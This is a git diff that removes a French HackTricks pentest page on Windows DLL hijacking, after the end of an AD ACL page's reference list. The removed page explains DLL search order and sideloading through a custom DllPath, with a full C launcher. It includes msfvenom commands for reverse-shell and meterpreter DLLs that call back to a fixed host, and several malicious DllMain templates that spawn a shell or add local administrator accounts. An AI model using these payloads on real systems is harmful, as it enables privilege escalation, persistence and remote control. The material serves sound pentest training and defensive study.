- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,319 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
DLL Hijacking consiste à manipuler une application de confiance pour qu'elle charge une DLL malveillante. Ce terme englobe plusieurs tactiques comme **DLL Spoofing, Injection, and Side-Loading**. Il est principalement utilisé pour code execution, obtenir persistence et, moins fréquemment, privilege escalation. Malgré l'accent mis sur l'escalade ici, la méthode de hijacking reste la même quel que soit l'objectif.
|
||||
|
||||
### Techniques courantes
|
||||
|
||||
Plusieurs méthodes sont employées pour le DLL hijacking, chacune ayant son efficacité selon la stratégie de chargement de DLL de l'application :
|
||||
|
||||
1. **DLL Replacement**: Remplacer une DLL légitime par une malveillante, éventuellement en utilisant DLL Proxying pour préserver le fonctionnement de la DLL originale.
|
||||
2. **DLL Search Order Hijacking**: Placer la DLL malveillante dans un chemin de recherche qui sera consulté avant celui contenant la DLL légitime, en profitant du schéma de recherche de l'application.
|
||||
3. **Phantom DLL Hijacking**: Créer une DLL malveillante qu'une application va charger en croyant qu'il s'agit d'une DLL requise inexistante.
|
||||
4. **DLL Redirection**: Modifier des paramètres de recherche comme `%PATH%` ou les fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers la DLL malveillante.
|
||||
5. **WinSxS DLL Replacement**: Substituer la DLL légitime par une version malveillante dans le répertoire WinSxS, méthode souvent associée au DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Placer la DLL malveillante dans un répertoire contrôlé par l'utilisateur avec l'application copiée, similaire aux techniques de Binary Proxy Execution.
|
||||
|
||||
## Trouver des DLL manquantes
|
||||
|
||||
La manière la plus courante de trouver des DLL manquantes sur un système est d'exécuter [procmon] depuis sysinternals, en **configurant** les **2 filtres suivants** :
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
et n'afficher que la **File System Activity** :
|
||||
|
||||
.png>)
|
||||
|
||||
Si vous recherchez des DLL manquantes en général, laissez ceci tourner pendant quelques secondes.
|
||||
Si vous recherchez une DLL manquante dans un exécutable spécifique, vous devez définir un autre filtre comme "Process Name" "contains" "\<exec name>", exécuter l'exécutable, puis arrêter la capture des événements.
|
||||
|
||||
## Exploiter des DLL manquantes
|
||||
|
||||
Pour escalader les privilèges, la meilleure opportunité est de pouvoir **écrire une DLL qu'un processus privilégié tentera de charger** dans un des **emplacements où elle sera recherchée**. Ainsi, on peut **écrire** une DLL dans un **dossier** où la **DLL est recherchée avant** le dossier contenant la **DLL originale** (cas particulier), ou écrire dans un dossier où la DLL sera recherchée alors que la DLL originale n'existe dans aucun dossier.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Inside the** [**Microsoft documentation**] you can find how the Dlls are loaded specifically.
|
||||
|
||||
Les applications Windows recherchent les DLL en suivant un ensemble de chemins de recherche prédéfinis, selon une séquence particulière. Le problème du DLL hijacking survient lorsqu'une DLL malveillante est placée stratégiquement dans l'un de ces répertoires de sorte qu'elle soit chargée avant la DLL authentique. Une solution pour prévenir cela est de faire en sorte que l'application utilise des chemins absolus lorsqu'elle référence les DLL dont elle a besoin.
|
||||
|
||||
Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32-bit** ci-dessous :
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Ceci est l'ordre de recherche **par défaut** avec SafeDllSearchMode activé. Lorsqu'il est désactivé, le répertoire courant passe à la deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** et réglez-la sur 0 (la valeur par défaut est activée).
|
||||
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD_WITH_ALTERED_SEARCH_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** est en train de charger.
|
||||
|
||||
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu plutôt que juste le nom. Dans ce cas, cette DLL ne sera recherchée que dans ce chemin (si la DLL a des dépendances, elles seront recherchées comme si elles avaient été chargées par nom).
|
||||
|
||||
Il existe d'autres moyens d'altérer l'ordre de recherche mais je ne vais pas les expliquer ici.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Un moyen avancé pour influencer de façon déterministe le chemin de recherche des DLL d'un processus nouvellement créé est de définir le champ DllPath dans RTL_USER_PROCESS_PARAMETERS lors de la création du processus avec les APIs natives de ntdll. En fournissant un répertoire contrôlé par l'attaquant ici, un processus cible qui résout une DLL importée par nom (sans chemin absolu et sans utiliser les flags de chargement sécurisés) peut être forcé à charger une DLL malveillante depuis ce répertoire.
|
||||
|
||||
Idée clé
|
||||
- Construire les paramètres du processus avec RtlCreateProcessParametersEx et fournir un DllPath personnalisé pointant vers votre dossier contrôlé (par ex. le répertoire où se trouve votre dropper/unpacker).
|
||||
- Créer le processus avec RtlCreateUserProcess. Quand le binaire cible résout une DLL par nom, le loader consultera ce DllPath fourni pendant la résolution, permettant un sideloading fiable même lorsque la DLL malveillante n'est pas colocée avec l'EXE cible.
|
||||
|
||||
Remarques/limitations
|
||||
- Cela affecte le processus enfant en cours de création ; c'est différent de SetDllDirectory qui n'affecte que le processus courant.
|
||||
- La cible doit importer ou appeler LoadLibrary sur une DLL par nom (pas de chemin absolu et sans utiliser LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs et les chemins absolus codés en dur ne peuvent pas être détournés. Les exports forwardés et SxS peuvent modifier la précédence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
|
||||
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
|
||||
|
||||
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
|
||||
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- Lorsqu'une **DLL qui partage son nom avec une DLL déjà chargée en mémoire** est rencontrée, le système contourne la recherche habituelle. À la place, il effectue une vérification de redirection et un manifeste avant de revenir par défaut à la DLL déjà en mémoire. **Dans ce scénario, le système n'effectue pas de recherche pour la DLL**.
|
||||
- Dans les cas où la DLL est reconnue comme une **known DLL** pour la version actuelle de Windows, le système utilisera sa version de la known DLL, ainsi que toutes ses DLL dépendantes, **en renonçant au processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient la liste de ces known DLLs.
|
||||
- Si une **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **noms de module**, indépendamment du fait que la DLL initiale ait été identifiée via un chemin complet.
|
||||
|
||||
### Escalating Privileges
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- Identifier un processus qui fonctionne ou fonctionnera sous **des privilèges différents** (mouvement horizontal ou latéral), et qui **manque une DLL**.
|
||||
- S'assurer qu'un **accès en écriture** est disponible pour n'importe quel **répertoire** dans lequel la **DLL** sera **recherchée**. Cet emplacement peut être le répertoire de l'exécutable ou un répertoire dans le system path.
|
||||
|
||||
Oui, les prérequis sont compliqués à trouver car **par défaut il est plutôt étrange de trouver un exécutable privilégié auquel il manque une dll** et il est encore **plus étrange d'avoir des permissions d'écriture sur un dossier du system path** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, c'est possible.\
|
||||
Dans le cas où vous auriez de la chance et que vous remplissiez les conditions, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si **le but principal du projet est de bypass UAC**, vous y trouverez peut-être un **PoC** d'un Dll hijaking pour la version de Windows que vous utilisez (probablement en changeant juste le chemin du dossier où vous avez des permissions d'écriture).
|
||||
|
||||
Notez que vous pouvez **vérifier vos permissions dans un dossier** en faisant:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Et **vérifiez les permissions de tous les dossiers dans PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Vous pouvez également vérifier les imports d'un exécutable et les exports d'une dll avec :
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Pour un guide complet expliquant comment **abuser de Dll Hijacking pour escalader les privilèges** lorsque vous avez la permission d'écrire dans un **dossier du System PATH**, consultez :
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Outils automatisés
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) vérifiera si vous avez des permissions d'écriture sur n'importe quel dossier à l'intérieur du System PATH.\
|
||||
D'autres outils automatisés intéressants pour découvrir cette vulnérabilité sont les **fonctions PowerSploit** : _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ et _Write-HijackDll_.
|
||||
|
||||
### Exemple
|
||||
|
||||
Si vous trouvez un scénario exploitable, l'une des choses les plus importantes pour l'exploiter avec succès sera de **créer une dll qui exporte au moins toutes les fonctions que l'exécutable importera depuis celle-ci**. Quoi qu'il en soit, notez que Dll Hijacking est utile pour [escalader du niveau d'intégrité Medium vers High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de [**High Integrity vers SYSTEM**](#from-high-integrity-to-system). Vous pouvez trouver un exemple de **comment créer une dll valide** dans cette étude sur dll hijacking axée sur l'exécution : [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
|
||||
De plus, dans la **section suivante** vous pouvez trouver quelques **codes dll basiques** qui peuvent être utiles comme **modèles** ou pour créer une **dll exportant des fonctions non requises**.
|
||||
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
|
||||
|
||||
With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Obtenir un meterpreter (x86) :**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Créer un utilisateur (x86 je n'ai pas vu de version x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Your own
|
||||
|
||||
Notez que, dans plusieurs cas, la Dll que vous compilez doit **export several functions** qui seront chargées par le victim process. Si ces functions n'existent pas, le **binary won't be able to load** them et l'**exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore déploie un nouveau malware ciblant l'Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user